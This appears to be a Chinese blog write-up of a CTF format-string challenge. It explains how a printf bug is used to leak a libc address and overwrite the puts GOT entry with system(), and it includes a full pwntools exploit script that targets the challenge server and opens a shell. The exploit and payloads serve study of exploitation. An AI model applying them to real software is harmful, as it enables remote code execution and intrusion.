实验吧-溢出-printf
printf题目与CCTF-2016-pwn3几乎一样,不同的是,使用的libc和用户的username不同,其他的原理基本都相同。
在解出这道题目之前,首先先了解了CCTF-pwn3-2016这道题目的解题思路并且自己达到了拿到本地shell的目的。
关于原题的write-up可参考:
关于本题中拿到本地shell的Write-up可参考本人的另一篇博文:
思路详解
在拿到本地shell之后发现通过修改一下内容,并不能拿到服务器的shell,于是今天克服了这个困难之后,终于拿到了服务器端的shell,并获取到flag。整理完整的思路为:
- 首先通过IDA-pro获取源码(主要使用F5热键功能),弄清楚程序代码逻辑。此部分为略读代码。
- 接着详细阅读每一部分的代码细节,找到代码中存在的漏洞,并判断是否可以利用。
- 在确定了可以利用的漏洞之后,进行漏洞利用方案设计。
- 通过巧妙的设计程序运行流程,实现“执行system(“/bin/sh;”)或execve(“/bin/sh”)等目的。
- 进入shell,读取flag内容。
上边这个步骤应该是解决pwn相关问题的基本思路,将这个思路与本题结合起来,如下。
源码逻辑
首先用户需要登陆:usename password
实际上是不存在password的,但是对username有限制,这个是固定了,不随每次运行的状态而改变,通过源码分析可以确定应输入的username为:rxraclhm
#这部分代码保证了用户输入username的时候不存在溢出 #另外将user输入的username每个字符的ASCII加一 for ( i = 0; i <= 39 && src[i]; ++i ) ++src[i];
#将username经过ASCII加一之后与sysbdmin进行比较 if ( strcmp(s1, "sysbdmin") )
用户可以输入put/get/dir进而分别实现put_file、get_file、show_dir的功能。
put_file: input:filename;filecontent output:none get_file: input:filename output:filecontent show_dir: input:none output:所有现有的filename字符串的拼接
用户可以无限次的随意执行三种功能,直至用户输入非”put\get\dir”字符。
漏洞
askname中输入name的过程经过的严格的字节检查,不存在溢出。
put_file和show_dir中不存在。
在get_file中,输出file_content的时候,程序将file_content复制给dest,然后直接printf(&dest),存在格式化字符串漏洞。
int get_file() { char dest; // [esp+1Ch] [ebp-FCh] char s1; // [esp+E4h] [ebp-34h] char *i; // [esp+10Ch] [ebp-Ch] printf("enter the file name you want to get:"); __isoc99_scanf("%40s", &s1); if ( !strncmp(&s1, "flag", 4u) ) puts("too young, too simple"); for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) ) { if ( !strcmp(i, &s1) ) { strcpy(&dest, i + 40); return printf(&dest); } } return printf(&dest); }
判断该漏洞是否可以利用
因为get_file时输出的file_content是用户自定义的,也就是说,dest的内容可以认为是用户scanf()之后printf()的,那么根据格式化字符串漏洞利用的相关知识,我们可以利用该漏洞达到”任意内存读”和”任意内存写”的目的,可参考下边这篇文章学习格式化字符串漏洞。
漏洞利用设计
这部分是我觉得做pwn类型题目最难的……就像设计一场悬疑案一样,下边的思路是借鉴别人的。
想要执行system(“/bin/sh;”),两个关键点:
- 要能执行到system()函数。程序本身并没有进入system()的入口,所以要想办法字GOT(global offset table)中将system()的函数地址覆盖到已有的、并且可以调用的函数地址,如A()。这样一来,当程序调用A()时,加载解析A()的GOT中实际地址时,实际上进入的是system()函数。
- 构造”/bin/sh;”参数,不仅要将A()函数地址与system()地址覆盖,也要将A()的函数参数设计为”/bin/sh;”。
于是与此题结合起来就有以下思路:(还有很多其他的思路)
- 将show_dir中的puts()的GOT中的地址改为system()地址
- 构造dir为“/bin/sh;”,也就是现存的filename拼接起来为”/bin/sh;”,那么就可以分别put_file三个sh; in/; /b三个文件。这是当show_dir时就会输出”/bin/sh;”
漏洞利用实现
改写GOT
利用格式化字符串漏洞实现任意地址写。
查看ELF文件的plt表信息,可以看到plt中puts()在GLIBC中的offset为0x0804a028;相应的这个位置存放了puts()在程序运行时的实际地址,那么我们需要将0x0804a028中的内容改为system()在程序运行时的实际地址。
readelf -r pwn
确定system()地址:
因为程序的动态链接,glibc中的函数实际运行时的物理地址都是在动态运行时确定的,在本题中,我们通过泄漏执行过程中__libc_start_main的地址,然后根据:
libc_base = __libc_start_main_addr - __libc_start_main_offset system_addr = libc_base + system_offset
就可以得到实际运行的system_addr。
确定__libc_start_main_addr,地址泄露:
利用格式化字符串漏洞的任意地址读。
gdb pwn disass get_file #找到get_file的汇编代码中printf的位置0x0804889e b *0x0804889e #在printf处下断点;观察 stack 100 #查看当前栈信息
可以看到该地址,该地址是__libc_start_main+247的位置,所以可以计算出__libc_start_main的实际地址。
0xf7e19637 #__libc_start_main+247 __libc_start_main_addr = 0xf7e19637-247 = 0xf7e19540 print __libc_start_main #0xf7e19540 验证后一致
我们此时是在printf()函数处下的断点,根据格式化字符串漏洞中“任意地址读”的原理,我们可以通过364/4=91的偏移量(%91$x)读取此时的“__libc_start_main+247”对应的地址。
想要printf(“%91$x”),则需要调用get_file,也就是说要构造一个file其file_content为”%91$x”.
这时就可以获取__libc_start_main的地址了,进而拿到system_addr。
写入0x0804a028:
利用格式化字符串漏洞的任意地址写。
//gcc str.c -m32 -o str #include <stdio.h> int main(void) { int c = 0; printf("%.100d%n", c,&c); printf("\nthe value of c: %d\n", c); return 0; }
话说我不知道原文为什么说到:
格式化字符串写一般分两次写入,每次写半个dword长度的内容
此时写入的地址内容为:
0x0804a028 : system_addr的低四位 0x0804a02a : system_addr的高四位
#构造的payload payload1 = p32(puts_got_addr) + '%%%dc' % ((system_addr & 0xffff)-4) + '%7$hn' payload2 = p32(puts_got_addr+2) + '%%%dc' % ((system_addr>>16 & 0xffff)-4) + '%7$hn' #payload1 = "x28xa0x04x08%396c%7$hn" #payload2 = "x2axa0x04x08%46942c%7$hn"
解释%7$hn:
需要提到一个地址偏移量的问题:
首先不知道他们是如何快速判断offset=7的。既然已经知道了,这里就以7为偏移量,解释一下如何构造payload。
下图为offset为6的情况,类似的,我们可以理解offset为7的情况:也就是说,当我们向0x0804a028写入内容的时候,payload1和payload2是两个格式化字符串,栈顶是指向他们的指针,而实际的”0x0804a028……“内容是从offset=7开始的,所以构造payload的后边需要加上%7$hn。
%n - 到目前为止所写的字符数
解释’%%%dc’ % ((system_addr & 0xffff)-4):
这里以system_addr=0xb7620190 为例
这个是将system_addr的低地址4bytes转化为数字,从而将0x0804a028的位置写为0x0190(396);将0x0804a02a的位置写为0xb762(46942)。
构造”/bin/sh;”
根据GOT修改的部分,我们可以了解到,一共需要”读取libc_start_main”、“修改0x0804a028”、“修改0x0804a02a”三次printf漏洞利用。
原文刚好设计了三个文件名,分别对应这三次get_file。但实际上,也可以设计多个文件名,只要保证最后所有的拼接为”/bin/sh;”就可以了。
libc的问题
按照上述思路,是可以拿到本地shell的,但是由于libc的不同,服务器端使用的是libc-2.23.so,因此我们在本地调试时可以考虑指定程序运行时的libc。好像以前有遇到过这个解决方案,但是有点忘了……..
exploit.py
from pwn import * context.log_level = 'debug' #conn = remote('127.0.0.1',12345) conn = remote('106.2.25.7',8001) #conn=process("./pwn") def putfile( conn , filename , content ) : print 'putting ' , content conn.sendline('put') conn.recvuntil(':') conn.sendline(filename) conn.recvuntil(':') conn.sendline(content) conn.recvuntil('ftp>') def getfile(conn , filename ) : conn.sendline('get') conn.recvuntil(':') conn.sendline(filename) return conn.recv(2048) #raw_input('start') conn.recv(2048) conn.sendline('rxraclhm') conn.recv(2048) putfile(conn,'sh;','%91$x') res = getfile( conn , 'sh;') print res #calculate put_got_addr , system_addr __libc_start_main = int(res[:8], 16)-247 system_addr = __libc_start_main - 0x18540 + 0x3ada0 pause() gdb.attach(conn) #system_addr=0xf7e44940 print 'system addr ' , hex(system_addr) put_got_addr = 0x0804A028 #conn.recv() #write system_addr to put_addr , lowDword payload1 = p32(put_got_addr) + '%%%dc' % ((system_addr & 0xffff)-4) + '%7$hn' putfile(conn , 'in/' , payload1) getfile(conn , 'in/') conn.recvuntil('ftp>') #write system_addr to put_addr , highDword payload2 = p32(put_got_addr+2) + '%%%dc' % ((system_addr>>16 & 0xffff)-4) + '%7$hn' putfile(conn, '/b' , payload2) getfile(conn,'/b') conn.recvuntil('ftp>') conn.sendline('dir') conn.interactive()
下一步计划
个人认为对格式化字符串漏洞利用还不是很到位…….
还有GOT和PLT…..
技能GET
python快速实现字符串每个字符ASCII加一
str="sysbdmin"
str1=""
for c in str:
c=chr(ord(c)-1)
str1+=c
print str1
快速判断offset
暂未测试成功
from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
bufsiz = 100
r = process('./print_test')
r.sendline(make_pattern(bufsiz)) # send cyclic pattern to
data = r.recv() # server's response
offset, padding = guess_argnum(data, bufsiz) # find format string offset and padding
log.info("offset : " + str(offset))
log.info("padding: " + str(padding))
格式化字符串漏洞的offset
比如printf(format_content,…),此时的offset就是,栈顶+offset所指的内存单元存储的内容就是format_content的内容??而栈顶只是地址?有待测试证明。
system(“/bin/sh”)&&system(“/bin/sh;”)
我感觉好像不需要‘;’吧
others
print system
info func
print __libc_start_main
Linux应用程序调用指定路径下的SO库:
SO库所在的指定路径为:/home/myUser/Demo/bin
在运行应用程序前:
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/myUser/Demo/bin
(暂未测试)